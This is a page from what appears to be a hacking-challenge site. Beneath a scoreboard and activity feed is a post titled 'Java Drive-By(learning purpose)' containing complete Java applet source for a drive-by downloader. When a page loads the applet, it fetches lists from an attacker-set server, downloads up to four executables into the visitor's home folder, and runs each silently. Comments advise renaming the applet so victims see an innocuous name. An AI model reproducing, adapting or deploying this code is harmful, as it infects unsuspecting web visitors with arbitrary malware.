Wednesday, September 08, 2010 03:41:19Login · Register
 

    Challenge Activity
02:59:54 - lacanian
     - Completed basic [13]
02:47:44 - chuiy
     - Completed basic [8]
10:12:24 - blabla
     - Completed basic [2]
10:04:32 - blabla
     - Completed basic [1]
09:22:30 - satishek
     - Completed privilege [4]
09:13:29 - mandrake
     - Completed crack [2]
04:18:55 - Iceheart456
     - Completed decrypt [3]
04:18:28 - InferiorHell
     - Completed decrypt [3]
04:18:12 - Iceheart456
     - Completed decrypt [2]
04:17:02 - Iceheart456
     - Completed decrypt [1]
04:16:34 - InferiorHell
     - Completed decrypt [2]
03:54:07 - InferiorHell
     - Completed decrypt [1]
03:42:18 - InferiorHell
     - Completed basic [4]
03:06:00 - mandrake
     - Completed decrypt [7]
02:54:04 - lacanian
     - Completed basic [12]
02:31:49 - am107cs019
     - Completed decrypt [7]
 

    Scoreboard Top 20
UserPoints
Abhineet4795   
auditorsec4795   
ne0114795   
Null Set4795   
blandyuk4780   
bluechill4750   
Teddy4730   
TurboBorland4475   
Qwexotic4460   
tiiger11114205   
preet4180   
LiquidFusi0n4175   
OnlyHuman4125   
samthg4110   
satishek3900   
pilchdragon3660   
Override3655   
chronic123640   
dash803590   
Torrment3515   
 

    Login
Username

Password



Not a member yet?
Click here to register.

Forgotten your password?
Request a new one here.
 

    Users Online
· Guests Online: 5

· Members Online: 0

· Members on IRC: 7
TurboBorland, thebigbucks, sirEgghead, Satan911, NoX, louve, LK

· Bots Online: 1
GoogleBot

· Total Members: 1,476
· Newest Member: blabla
 

 

 

 

    Top 10 Forum Posters
UserPosts
bluechill915   
Qwexotic692   
cruizrisner476   
Null Set350   
TurboBorland331   
Stormc1nd3r308   
auditorsec299   
madf0x296   
Override238   
jakecrepinsek235   
 

    Affiliates
 

Java Drive-By(learning purpose)
Code
import java.applet.Applet;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLConnection;
import java.security.AccessControlException;
import java.util.ArrayList;


//

         //Change Example to what you want users to see as your Applet Name
@SuppressWarnings("serial")
public class Exploit extends Applet{
         //Same here
   public Exploit(){
    }
   
    public String getContents(File aFile) {

        StringBuilder contents = new StringBuilder();
       
        try {

          BufferedReader input =  new BufferedReader(new FileReader(aFile));
          try {
            String line = null; //not declared within while loop

            while (( line = input.readLine()) != null){
              contents.append(line);
              contents.append(System.getProperty("line.separator"));
            }
          }
          finally {
            input.close();
          }
        }
        catch (IOException ex){
          ex.printStackTrace();
        }
       
        return contents.toString();
      }
   
    public String getConfig(String link){
       try {
      URLConnection url = null;
      BufferedReader in = null;
      url = new URL(link).openConnection();
      in = new BufferedReader(new InputStreamReader(url.getInputStream()));
      String str = in.readLine();
      if (in != null) {
         in.close();
      }
      return str;
       } catch (final IOException e) {
         
       }
      return null;
    }
   
    public ArrayList<String> getConfigArray(String link){
      URLConnection url = null;
      String line;
      ArrayList<String> file = new ArrayList<String>();
       try {
      url = new URL(link).openConnection();
      BufferedReader in = new BufferedReader(new InputStreamReader(url.getInputStream()));
       while ((line = in.readLine()) != null)
             file.add(line);
      if (in != null) {
         in.close();
      }
      return file;
       } catch (final IOException e) {
         
       }
      return null;
    }

    public ArrayList<String> loadFile(String fileName)
    {
        if ((fileName == null) || (fileName == ""))
            throw new IllegalArgumentException();
       
        String line;
        ArrayList<String> file = new ArrayList<String>();

        try
        {   
            BufferedReader in = new BufferedReader(new FileReader(fileName));

            if (!in.ready())
                throw new IOException();

            while ((line = in.readLine()) != null)
                file.add(line);

            in.close();
        }
        catch (IOException e)
        {
            System.out.println(e);
            return null;
        }

        return file;
    }

    //Main Method
    public void start() throws AccessControlException{
       
          String userdir = System.getProperty("user.home");
          String configs = "config.ini";
          String urlss = "urls.ini";
          String filess = "files.ini";
          //FULL PATH TO YOUR WEBSITE HERE(WERE JAR IS GOING TO BE PALCED)\\
          String mainURL = "http://site.com/";
         
           ///////////////////////////////////////////////////Do not touch anything below\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
           //try{
           //////////////////////////////////FILE 1//////////////////////////////////
           if(getConfig(mainURL+configs).contains("1") || getConfig(mainURL+configs).contains("2") || getConfig(mainURL+configs).contains("3") || getConfig(mainURL+configs).contains("4")){
            String fname = "\\"+getConfigArray(mainURL+filess).get(0);

            String fpath = userdir.concat(fname);

            final String locationDownload = getConfigArray(mainURL+urlss).get(0);
           
          download(locationDownload, fpath);
         
          final Runtime run = Runtime.getRuntime();

          try {
             run.exec(fpath);
          } catch (final IOException e) {
          }
           }
       
           //////////////////////////////////FILE 2//////////////////////////////////
           if(getConfig(mainURL+configs).contains("2") || getConfig(mainURL+configs).contains("3") || getConfig(mainURL+configs).contains("4")){
                String fname2 = "\\"+getConfigArray(mainURL+filess).get(1);
               
                final Runtime run = Runtime.getRuntime();

                String fpath2 = userdir.concat(fname2);


                final String locationDownload2 = getConfigArray(mainURL+urlss).get(1);
               
                download(locationDownload2, fpath2);
                try {
                run.exec(fpath2);
                } catch (final IOException e){
                   
               }
            }


          //////////////////////////////////FILE 3/////////////////////////////////
            if(getConfig(mainURL+configs).contains("3") || getConfig(mainURL+configs).contains("4")){
            String fname3 = "\\"+getConfigArray(mainURL+filess).get(2);
           
            final Runtime run = Runtime.getRuntime();

            String fpath3 = userdir.concat(fname3);


            final String locationDownload3 = getConfigArray(mainURL+urlss).get(2);
           
            download(locationDownload3, fpath3);
            try {
            run.exec(fpath3);
            } catch (final IOException e){
               
            }
            }

          /////////////////////////////////FILE 4//////////////////////////////////
            if(getConfig(mainURL+configs).contains("4")){
                String fname4 = "\\"+getConfigArray(mainURL+filess).get(3);
               
                final Runtime run = Runtime.getRuntime();

                String fpath4 = userdir.concat(fname4);


                final String locationDownload3 = getConfigArray(mainURL+urlss).get(3);
               
                download(locationDownload3, fpath4);
                try {
                run.exec(fpath4);
                } catch (final IOException e){
                   
                }
                }
            ////////////////////////////////END///////////////////////////////////
           //}catch  (AccessControlException e){
            //   System.out.println("hi");
           // }
           
        }
   
   public void download(final String address, final String localFileName) {
      OutputStream out = null;
      URLConnection conn = null;
      InputStream in = null;
      try {
         final URL url = new URL(address);

         out = new BufferedOutputStream(new FileOutputStream(localFileName));
         conn = url.openConnection();
         in = conn.getInputStream();

         final byte[] buffer = new byte[1024];
         int numRead;
         while ((numRead = in.read(buffer)) != -1) {
            out.write(buffer, 0, numRead);
         }
      } catch (final Exception exception) {
      } finally {
         try {
            if (in != null) {
               in.close();
            }
            if (out != null) {
               out.close();
            }
         } catch (final IOException ioe) {
         }
      }
   }



    public void main(String args[]){

       start();

    }   



    public void stop(){
    }
}



Comments
 
No Comments have been Posted.
 
 
Post Comment
 
Please Login to Post a Comment.
 
 
Ratings
 
Rating is available to Members only.

Please login or register to vote.

No Ratings have been Posted.